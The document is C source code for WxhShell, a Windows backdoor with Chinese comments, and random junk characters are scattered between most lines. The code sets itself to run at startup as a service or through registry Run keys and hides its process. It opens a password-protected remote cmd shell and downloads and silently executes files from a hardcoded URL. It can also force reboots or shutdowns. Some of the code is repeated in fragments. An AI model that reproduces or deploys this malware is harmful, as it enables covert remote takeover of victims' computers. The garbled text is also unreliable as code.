NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +nKxSjqI
mea]m)P if (!NtQueryInformationProcess) return 0; Q$iGpTL ku,Y- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o5+N_5OE}E if(!hProcess) return 0; Hl&]r'bK >iP>v`J if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; i>bFQ1Rdx $jb3#Rj4 CloseHandle(hProcess); S\<]|tM:x QsYc 9]: hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;F@dN,Y if(hProcess==NULL) return 0; |N[SCk>Kj ;8sEE?C$g HMODULE hMod; o?P(Fuf char procName[255]; "42u0rH0J unsigned long cbNeeded; d>F=|dakL f f"Clp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); zqAK|jbL whP>'9t.w CloseHandle(hProcess); (E)/' sEb Xmy(pV!PF if(strstr(procName,"services")) return 1; // 以服务启动 ]4@z.1Mr Dbr(Wg return 0; // 注册表启动 yS/ovd } T8YqCT"EA< ,)+O.Lf7&. // 主模块 j#%*@]>Tg int StartWxhshell(LPSTR lpCmdLine) g#=^U`y { 0-Xpq,0 SOCKET wsl; aisX56Lc BOOL val=TRUE; 57+^T}/> int port=0; ?,|_<'$4T struct sockaddr_in door; 6X5m1+ Oi^ r2QC$V:0 if(wscfg.ws_autoins) Install(); <u44YvLBm C78d29 port=atoi(lpCmdLine); ^sH1YE}0 =1n>vUW+J if(port<=0) port=wscfg.ws_port; &eY$(o-Hw kYs2AzS{d WSADATA data; hmkcWr` if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <2y~7h: FQi"OZHq
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r jU $*+ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $y=sT({VVe door.sin_family = AF_INET; *cTN5S> door.sin_addr.s_addr = inet_addr("127.0.0.1"); N|q:wyS| door.sin_port = htons(port); vzaxi;S< fE)+9! if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { s4SR6hBO closesocket(wsl); ]8YHA}P return 1; ?Z!itB~ } R|t.wawCo 5n.4>yOY if(listen(wsl,2) == INVALID_SOCKET) { r3ZY`zf closesocket(wsl); pM[UC{ return 1; F5L/7j<} } 2ok>z$Y Wxhshell(wsl); ..;LU:F WSACleanup(); (B]Vw+/ L0|Vc9 return 0; nC`#Hm.V% Tjure]wQz } F>A-+]X3o IG +nrTY0 // 以NT服务方式启动 }SpMHR` VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ?Pmj }f { iCk34C7 DWORD status = 0; @oYq.baHX DWORD specificError = 0xfffffff; n2,b~S\e L6$,<}l serviceStatus.dwServiceType = SERVICE_WIN32; 1Sz5&jz serviceStatus.dwCurrentState = SERVICE_START_PENDING; v}[KVwse serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xNxIqq<k serviceStatus.dwWin32ExitCode = 0; %XG X( serviceStatus.dwServiceSpecificExitCode = 0; @b!fs serviceStatus.dwCheckPoint = 0; ;
@Gm@d serviceStatus.dwWaitHint = 0; &$hfAG]" :CHCVoh@95 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XNu2G19jb if (hServiceStatusHandle==0) return; KU33P>a"[k R52q6y:<x status = GetLastError(); r(vk2Qy if (status!=NO_ERROR) |hp_X>Uv' { O";r\Z serviceStatus.dwCurrentState = SERVICE_STOPPED; QS=n
50T, serviceStatus.dwCheckPoint = 0; s3kh (N serviceStatus.dwWaitHint = 0; 0?,EteR serviceStatus.dwWin32ExitCode = status; .M:,pw"S] serviceStatus.dwServiceSpecificExitCode = specificError; *o"F.H{#N SetServiceStatus(hServiceStatusHandle, &serviceStatus); "
I`YJEv return; _Zf1=&U#/ } 8Yq6I>@! 1ygu>sKS&A serviceStatus.dwCurrentState = SERVICE_RUNNING; !c1
E serviceStatus.dwCheckPoint = 0; ew?UHV serviceStatus.dwWaitHint = 0; S2jo@bp! if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NX)7g}S } gWgK *+p'CfsSka // 处理NT服务事件,比如:启动、停止 d2X#_(+d VOID WINAPI NTServiceHandler(DWORD fdwControl) V=(4
c { wK#UFOp switch(fdwControl) 8n~@Rj5 { ,5r 2!d case SERVICE_CONTROL_STOP: D"1ciO8^I] serviceStatus.dwWin32ExitCode = 0; =t)eT0 serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Y9 j/wA serviceStatus.dwCheckPoint = 0; !2&h=;i~V serviceStatus.dwWaitHint = 0;
k7y!!AV { 62vz 'b SetServiceStatus(hServiceStatusHandle, &serviceStatus); JI\u -+BE } vgE5(fJh return; PI0/=kS case SERVICE_CONTROL_PAUSE: fvNGGn! serviceStatus.dwCurrentState = SERVICE_PAUSED; 9MM4 C break; yMz@-B case SERVICE_CONTROL_CONTINUE: }3[ [ONA serviceStatus.dwCurrentState = SERVICE_RUNNING; bJ. ((1$ break; a.8 nWs^ case SERVICE_CONTROL_INTERROGATE: cW&OVNj break; Za}91z" }; ITbl%q SetServiceStatus(hServiceStatusHandle, &serviceStatus); k,v.U8 } l^0
<a<P :syR4A WM // 标准应用程序主函数 $g|g}>Sc int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) QT%&vq { &]z2=\^e W=)}=^N0 // 获取操作系统版本 m5d;lrk@&/ OsIsNt=GetOsVer(); ~=c^Oo: GetModuleFileName(NULL,ExeFile,MAX_PATH); @RaMO# wp*;F#: G // 从命令行安装 GB[W'QGiq if(strpbrk(lpCmdLine,"iI")) Install(); U}Hmzb M>I}^Zp! // 下载执行文件 +%gh? if(wscfg.ws_downexe) { 4a)qn?<z if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) t9P` nfY WinExec(wscfg.ws_filenam,SW_HIDE); @$(4;ar } @&M$`b
^ hZzsZQ` if(!OsIsNt) { j@9nX4Z // 如果时win9x,隐藏进程并且设置为注册表启动 ]i$CE|~ HideProc(); _r,# l5~U StartWxhshell(lpCmdLine); ~kN6Hr*X } PiH#9XB else [|F.*06SK if(StartFromService()) Uw)K[T // 以服务方式启动 "sHD8TUX StartServiceCtrlDispatcher(DispatchTable); Bq@G@Qi else ied<1[~S // 普通方式启动 R`$Odplh> StartWxhshell(lpCmdLine); HDy[/7" VNytK_F0P return 0; :wn![<`3q } e dD(s5 TS1k'<c?
d;CD~s 1y?TyUP =========================================== @8_K^3-~e pCg0xbc` zSq+#O1# 2'@0|k,yC 14^t{ o^AK@\e:^Z " ul% q6=f) TkQ05'Qc #include <stdio.h> 3cOXtDV YT #include <string.h> e| kYu[^ #include <windows.h> v1)jZ.: #include <winsock2.h> :W'1Q2 #include <winsvc.h> ^rxXAc[ #include <urlmon.h> LL,~&5{ =n#xnZ3 #pragma comment (lib, "Ws2_32.lib") mY%PG #pragma comment (lib, "urlmon.lib") a!>AhOk. 8\ :T*u3 #define MAX_USER 100 // 最大客户端连接数 ;#j/F]xG #define BUF_SOCK 200 // sock buffer Y}Qu-fm #define KEY_BUFF 255 // 输入 buffer }S42.f.p XE>XzsnC #define REBOOT 0 // 重启 +$<m ;@mZ #define SHUTDOWN 1 // 关机 *?i~AXJm n
~
=]/ #define DEF_PORT 5000 // 监听端口 n$~RgCf 12rr:(#%s #define REG_LEN 16 // 注册表键长度 @w|~:>/g #define SVC_LEN 80 // NT服务名长度 w\\ 8taaBM`: // 从dll定义API OY@/18D<> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); f:HRrKf9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zfxxPL' typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 02=eE|Y@ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zo&U3b{Dy Cjwg1?^RZ // wxhshell配置信息 F!Nx^M1 struct WSCFG { h7%< int ws_port; // 监听端口 IXC: Q
char ws_passstr[REG_LEN]; // 口令 7qnw.7p int ws_autoins; // 安装标记, 1=yes 0=no Xt$?Kx_, char ws_regname[REG_LEN]; // 注册表键名 p_mP' char ws_svcname[REG_LEN]; // 服务名 O"{NHNG\oT char ws_svcdisp[SVC_LEN]; // 服务显示名 pG|DT ? char ws_svcdesc[SVC_LEN]; // 服务描述信息 1g|H8CA char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,>e<mphM int ws_downexe; // 下载执行标记, 1=yes 0=no &{7%VsTB char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W}T$ Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *d)B4qG ;%Z)$+Z_)< }; 58=fT1
B b
~F85U2 // default Wxhshell configuration DuCq16'0T struct WSCFG wscfg={DEF_PORT, :MJTmpq, "xuhuanlingzhe", )FgcNB1|7 1, T@f$w/15 "Wxhshell", &}*[-z "Wxhshell", 3lLO. "WxhShell Service", a}=)b#T` "Wrsky Windows CmdShell Service", B?Pu0
_|s "Please Input Your Password: ", EpPKo 1, 7MBz&wE^f "http://www.wrsky.com/wxhshell.exe", '{C=vW "Wxhshell.exe" `qUmOFl }; `A?/Ww>; V}Oxz04 // 消息定义模块 /J5wwQ
(: char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LnM+,cBz char *msg_ws_prompt="\n\r? for help\n\r#>"; E*k=8$Y char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; G0<m3 Up char *msg_ws_ext="\n\rExit."; CbwQ'c$} char *msg_ws_end="\n\rQuit."; Z(CzU{7c char *msg_ws_boot="\n\rReboot..."; V>z8*28S. char *msg_ws_poff="\n\rShutdown..."; ky[FNgQ3n char *msg_ws_down="\n\rSave to "; P PmE.%_ {:!*1L char *msg_ws_err="\n\rErr!"; 0~"{z>s ' char *msg_ws_ok="\n\rOK!"; nww,y y/
vE char ExeFile[MAX_PATH]; hoPCbjkov int nUser = 0; hfVJg7- HANDLE handles[MAX_USER]; 9D-PmSnv int OsIsNt; `43E-'g \vpUl SERVICE_STATUS serviceStatus; -R|v&h%T SERVICE_STATUS_HANDLE hServiceStatusHandle; !.kj-==s{7 _PQQ&e)E // 函数声明 F DXAe-|Q int Install(void); {QJJw}!# int Uninstall(void); td{$c6 int DownloadFile(char *sURL, SOCKET wsh); V\4'Hd int Boot(int flag); 'V } -0 void HideProc(void); 3-z57f,}6~ int GetOsVer(void); [N.4i"
Cd int Wxhshell(SOCKET wsl); FzW7MW>\x void TalkWithClient(void *cs); 8) 'OXR0/ int CmdShell(SOCKET sock); 1;S@XC> int StartFromService(void); ig jr=e int StartWxhshell(LPSTR lpCmdLine); Pv/$;R% <08)G7 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); >'7Icx VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8,=,'gFO #sN]6 // 数据结构和表定义 !-p5j3 A4L SERVICE_TABLE_ENTRY DispatchTable[] = >pUR>?t" { CKy' 8I9 {wscfg.ws_svcname, NTServiceMain}, =`99ez+y {NULL, NULL} FL9Dz4 }; O_*%_S}F& MBp%TX! // 自我安装 }~y
i6!w' int Install(void) M;-PrJdyt { l*":WzRGvF char svExeFile[MAX_PATH]; g-Vxl|hR HKEY key; d3<7t strcpy(svExeFile,ExeFile); sA#}0>`3S ^#KkO3 // 如果是win9x系统,修改注册表设为自启动 2old})CLJ if(!OsIsNt) { >-0Rq[) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;y/&p d+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); cY0NQKUk~ RegCloseKey(key); VMXccT9i! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -QN1=G4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kq8.SvIb RegCloseKey(key); gwm!Pw j return 0; X0.k Q } F}wy7s2i } Kejp7okb } wQEsq< else { d)1 d0ES SFv'qDA // 如果是NT以上系统,安装为系统服务 g1Ed:V]_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -U.>K,M if (schSCManager!=0) 9sJ=Nldq { QV)>+6\ SC_HANDLE schService = CreateService gNUYHNzDM( ( u%!/-&?wF schSCManager, GRM6H|. wscfg.ws_svcname, ;G.5.q[A wscfg.ws_svcdisp, nl5A{ s SERVICE_ALL_ACCESS, #oW"3L{, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 0Ta&o-e SERVICE_AUTO_START, -n FKP&P SERVICE_ERROR_NORMAL, X|y(B%: svExeFile, vJ9I z NULL, ^m~&2l\N= NULL, iO+,U} & NULL, r2yJ{j&s NULL, ti'B}bH>' NULL Bs)'Gk`1 ); 0Un?[O if (schService!=0) oq${}n < { 3>M%?d CloseServiceHandle(schService); B\S}*IE CloseServiceHandle(schSCManager); B>.x@(}V~ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); & OYo strcat(svExeFile,wscfg.ws_svcname); ORuC(" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { K*I!:1;3N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); /9ctmW1!< RegCloseKey(key); U}@xMt8@l return 0; *IX<&u# } +`,;tz=? } ttOk6- CloseServiceHandle(schSCManager); ~=va<%{
U } P q0%oz } `6$|d,m5 )Zf1%h~0r return 1; 0vX4v)-^u } xt_:R~/[ {Y-~7@ // 自我卸载 0FSN IPx int Uninstall(void) "i#aII+T { % IHIXncv[ HKEY key; bTU[E <Pzy'9 if(!OsIsNt) { Lq|>n[KY if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J3 `0i@ RegDeleteValue(key,wscfg.ws_regname); ijsoY\V50 RegCloseKey(key); p8Z?R^$9H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |Dt_lQp# RegDeleteValue(key,wscfg.ws_regname); (\0
<|pW RegCloseKey(key); Nv=78O1 return 0; jc!m; U t } CYRZ2Yrk?" } U0gZf5;* } 8EI9&L> else { t0+i]lr K!]a+M]> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); k&2=-qgVR if (schSCManager!=0) * xCY^_ { G54J'*Z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gg>QXui if (schService!=0) (+c1 .h { ;z.L^V0 if(DeleteService(schService)!=0) { oNZ_7tU CloseServiceHandle(schService); d]poUN~x CloseServiceHandle(schSCManager); h5SJVa return 0; q.p.$) } D/?Ec\t CloseServiceHandle(schService); NMe{1RM } %xN${4)6 CloseServiceHandle(schSCManager); v\GVy[Qyv } ]}dQ~lOE } k,[*h-{8 >))CXGE return 1; #MKM.T,\t } #=t/wAE y: T]ls&cW5 // 从指定url下载文件 u<Y#J,p`e int DownloadFile(char *sURL, SOCKET wsh) =*&[K^ { l|=4FIMD HRESULT hr; +LF#XS@ char seps[]= "/"; zw['hqW char *token; f. "\~ char *file; xNzGp5H char myURL[MAX_PATH]; ];Z6=9n char myFILE[MAX_PATH]; kk%3 2(By CJ*
D strcpy(myURL,sURL); /M_$4O;*@ token=strtok(myURL,seps); $c9-Q+pZ while(token!=NULL) XEgJ7h_ { >~SS^I0 file=token; r/2=
nE token=strtok(NULL,seps); 5?lc%,-& } ^Jp,& 0?<#! GetCurrentDirectory(MAX_PATH,myFILE); z$e6T&u5B strcat(myFILE, "\\"); Pg%9hejf3 strcat(myFILE, file); V&w2pp0 send(wsh,myFILE,strlen(myFILE),0); 7~ PL8 send(wsh,"...",3,0); 2 %dL96 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;$QC_l''b if(hr==S_OK)
27EK+$ return 0; @eJCr)#} else <.Ws; HN} return 1; 1Y|a:){G j-":>}oW2. } `
y\)X
C7 hW~.F // 系统电源模块 Ttt'X<9 int Boot(int flag) uMJ\ { /]_ t-> HANDLE hToken; Ot2o=^Ng TOKEN_PRIVILEGES tkp; } o%^
Mu B L5-|-PP|; if(OsIsNt) { W6&vyOc OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _!nsEG
VV LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q`VL i tkp.PrivilegeCount = 1; H"#ITL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; f#\YX
tR,k AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &EfQ%r}C if(flag==REBOOT) { l~6K}g? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %GHGd'KO& return 0; 7uF|Z( } CIjc5^Y2 else { 1^!SuAA@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iRzFA!wH return 0; -L1785pB85 } K:wI'N"N } Jsz!ro else { xT%`"eM} if(flag==REBOOT) { ilA45@ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 9
r!zYZ`)
return 0; J@s>Pe) }
lN,?N{6s else { j]Jgz< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BAf$tyh return 0; Y@Uk P+{f= } j3gDGw; } UEU/505 vADiW~^Q^ return 1; #c^V% } *m~-8_ >; +$h // win9x进程隐藏模块 [_,as void HideProc(void) ~HZdIPcC { aD^$v Smr{+m a HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3v/B*M VI if ( hKernel != NULL ) OT9]{|7 { zLpCKndj pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K~N$s"Qx ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &mwd0%4 FreeLibrary(hKernel); p+VU:%.t } .ZpOYhk i%hCV o return; WsI`!ez;D } 1E+12{~m"i g!'R}y // 获取操作系统版本 gcJ!_KZK int GetOsVer(void) $[ {5+ * { g7 \= OSVERSIONINFO winfo; &Y{^yb winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }LzBo\ GetVersionEx(&winfo); >STtX6h if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <ql,@*Y return 1; kT%wt1T4 else v}G^+-? return 0; 5E]t4" } b;k+N` YW7W6mWspS // 客户端句柄模块 xa>| k>I int Wxhshell(SOCKET wsl) =>jp\A { J:xGEa t SOCKET wsh; B,%Vy!o struct sockaddr_in client; dY*q[N/pO DWORD myID; "mlQ z4D)5 kv+% while(nUser<MAX_USER) sV\_DP/l { C]`uC^6g int nSize=sizeof(client); *l2`- gbE wsh=accept(wsl,(struct sockaddr *)&client,&nSize); c8l>OS5i3_ if(wsh==INVALID_SOCKET) return 1; j4.wd
RK +iVEA(0&$
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p"g|]@m if(handles[nUser]==0) OQVrg2A%( closesocket(wsh); }9~^}99} else 7=!9kk 0 nUser++; RK3 yq$ } $l7^-SK`E WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 64s;EC uqMw-f/ return 0; $[gN#QW% } (eHyas %X Vwkvu&4 // 关闭 socket /:{%X(8 void CloseIt(SOCKET wsh) O'y8q[2KE { i+_LKHQN closesocket(wsh); SQKhht`M nUser--; gFDnt ExitThread(0); ]%Q!%uTh } /jbAf ]"F; ?t#wK}d. // 客户端请求句柄 ?#xl3Z ;I void TalkWithClient(void *cs) !l:GrT8J { ;nY#/%f 2MkrVQQ9g SOCKET wsh=(SOCKET)cs; l$42MRi/ char pwd[SVC_LEN]; m,l/=M char cmd[KEY_BUFF]; yI0bSu<j- char chr[1]; 55[ 4)* int i,j; dG\wW@}J YeH!v, > while (nUser < MAX_USER) { 7_0p& 3
y<)TYr if(wscfg.ws_passstr) { vOQ%f?%G\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @Nu2
:~JO //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 91-bz^=xO //ZeroMemory(pwd,KEY_BUFF); Up9{aX i=0; Bo 35L:r| while(i<SVC_LEN) { L@}PW)# 7)66e // 设置超时 0-2|(9
Kc fd_set FdRead; ,:_c-d# struct timeval TimeOut; h$cm:uks FD_ZERO(&FdRead); R4?>C-; FD_SET(wsh,&FdRead); 7|rH9Bc{U TimeOut.tv_sec=8; tne_]+ TimeOut.tv_usec=0; sZ;|NAx) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D6 B-#u!M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E$8JrL mxc)Wm<4 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q7%4 `_$! pwd=chr[0]; b 2gng} if(chr[0]==0xd || chr[0]==0xa) { h Yu6PWK pwd=0; Z;0~f<e%
break; dcz?5O_{, } nl@an!z i++; |Uh8b % } 2RiJ m" 7Ai?}%b- // 如果是非法用户,关闭 socket O-iE 0t if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4{VO:(geZ } fXD+ KA3U W send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d}
>Po%r: send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4l D$'`
q+P@2FL while(1) { m[DQ;`Y rhv~H"qzW ZeroMemory(cmd,KEY_BUFF); 3Ax'v|&Hg U82a]i0 // 自动支持客户端 telnet标准 #Z&/w.D2 j=0; 1? >P3C while(j<KEY_BUFF) { nt.LiM/L if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); QX,$JM3 cmd[j]=chr[0]; kZ]H[\Fs if(chr[0]==0xa || chr[0]==0xd) { MP]<m7669* cmd[j]=0; =BJLj0=N break; %sa?/pjK } j"W>fC/u j++; +UzQJt/>> } Y&|Z*s+
+} 6FS%9.Ws // 下载文件 kY0HP a if(strstr(cmd,"http://")) { XS<>0YM send(wsh,msg_ws_down,strlen(msg_ws_down),0); $vn6%M[ if(DownloadFile(cmd,wsh)) 3JazQU send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2e48L677- else d;i|s[6ds` send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A5l Cc
b } 1 ZdB6U0 else { WQ|:TLQ J^!;$Hkd switch(cmd[0]) { |IxHtg3>6{ OL'Ito // 帮助 2y[Q case '?': { =8FvkNr send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W4$o\yA] break; n#_B4UqW% } u{1R=ML // 安装 Ky3mzw| case 'i': { 9QZaa(vN if(Install()) lu utyK! send(wsh,msg_ws_err,strlen(msg_ws_err),0); qF)J#$4;6 else u?').c4 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8R~<$xz break; l;8t%JV5 } ?%kgfw@) // 卸载 yD[d%w case 'r': { Cq5.gkS< if(Uninstall()) T,38Pu@r send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,@$5,rNf else g[xoS\d send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0uy'Py@2< break; 5Cf!NNV } 4jT6h9% // 显示 wxhshell 所在路径 %VHy?!/ case 'p': { _"DC) char svExeFile[MAX_PATH]; IsXNAYj strcpy(svExeFile,"\n\r"); MT6p@b5 strcat(svExeFile,ExeFile); \PX4>/d@y send(wsh,svExeFile,strlen(svExeFile),0); }D1x%L break; G?Et$r7:R } `kKssU< // 重启 8}%F`=Y0 case 'b': { =vThtl/azD send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c[@_t.%) if(Boot(REBOOT)) {X,%GI send(wsh,msg_ws_err,strlen(msg_ws_err),0); sG g458 else { 79DNNj~ closesocket(wsh); B4s$| i{D ExitThread(0); n,T
&n } VFE@qX| break; |3$Ew. } J+D|/^ // 关机 :UwBs case 'd': { KQ~y;{h?b send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); oZ{,IZ45 if(Boot(SHUTDOWN)) ss^a=?~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); RhYe=Qh4{p else { ~DH9iB closesocket(wsh); J,$xQ?,wE ExitThread(0); :s)cTq| 3 } Y1r$;;sH break; 1UQ,V`y } xU'z>y4V$ // 获取shell XQ1]F{?/H case 's': { 18$d-[hX CmdShell(wsh); H3wJ5-q( closesocket(wsh); q@.>eB'92P ExitThread(0); IIk_!VzT break; jN6V`Wh_ } Lf_Y4a# // 退出 n%Oi~7> case 'x': { pl8b&bLzi send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~cU1
/CW8 CloseIt(wsh); d+n2
c`i break; {lK2yi } HDm]njF%qQ // 离开 2gWR2 H@ case 'q': { wd:Yy send(wsh,msg_ws_end,strlen(msg_ws_end),0);
9qX$ closesocket(wsh); [^!SkQ WSACleanup(); :.PA(97xb exit(1); V#G)w~
break; <4{m99 } z|s(D<*w } @$slGY } ^y,h0?Z9 aEf3hB* ~ // 提示信息 fW= N if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dv+Gv7&2/ } x,nl PU } LhG\)>Y% {S0-y return; |bk9<i ? } ~[=<Os S1|5+PPs // shell模块句柄 $f@YQN= int CmdShell(SOCKET sock) w!lk&7Q7Z { zJXK:/ STARTUPINFO si; 2poo@]M/ ZeroMemory(&si,sizeof(si)); }u#3 hYa si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; la;*> si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; d&3"?2IQ PROCESS_INFORMATION ProcessInfo; [aSuEu?mC char cmdline[]="cmd"; @x `X|>& CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %??v?M* return 0; Gf8 ^nfr } 1zRYd`IPoq l]G
iz& // 自身启动模式 628iN%[- int StartFromService(void) NV5qF/<M { A%#M#hD/ typedef struct sOqFEvzo1% { ^i@anbH DWORD ExitStatus; S(@kdL DWORD PebBaseAddress; =
#-zK:4 DWORD AffinityMask; >5O~SF. DWORD BasePriority; 97Dq; ULONG UniqueProcessId; *VsGa<V ULONG InheritedFromUniqueProcessId; ,X!) z Amm } PROCESS_BASIC_INFORMATION; aiPm.h> B}[CU='P* PROCNTQSIP NtQueryInformationProcess; a!R*O3 L9jT:2F static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GZO:lDdA static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4dixHpq' J4+WF#xI2 HANDLE hProcess; ;_\yg)X, PROCESS_BASIC_INFORMATION pbi; Hn >VPz+I =%8 yEb*5# HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [~Ky{:@)[ if(NULL == hInst ) return 0; #^$_/Q#C ]RAh['u| g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 1IoW}yT g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _1[Wv? NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); A~xw:[zy$a B*_K}5UO if (!NtQueryInformationProcess) return 0; gaN/
kp uD/@d'd_4L hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <ll?rPio" if(!hProcess) return 0; ]Ea-MeH JDf>Qg{ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7:B/?E 3;buC|ky CloseHandle(hProcess); A+^okT37r m 3UK`~ji hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M|c_P)7ym if(hProcess==NULL) return 0; uZ8-? ~QSX 1w" HMODULE hMod; ypEMx'p char procName[255]; k.C&6*l!5; unsigned long cbNeeded; }E ]l4N2 #b/L~Bw[ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); dQT[pNp: xO_>%F^? CloseHandle(hProcess); HW]?%9a rf H1Zl if(strstr(procName,"services")) return 1; // 以服务启动 (zFqb,P umns*U%T; return 0; // 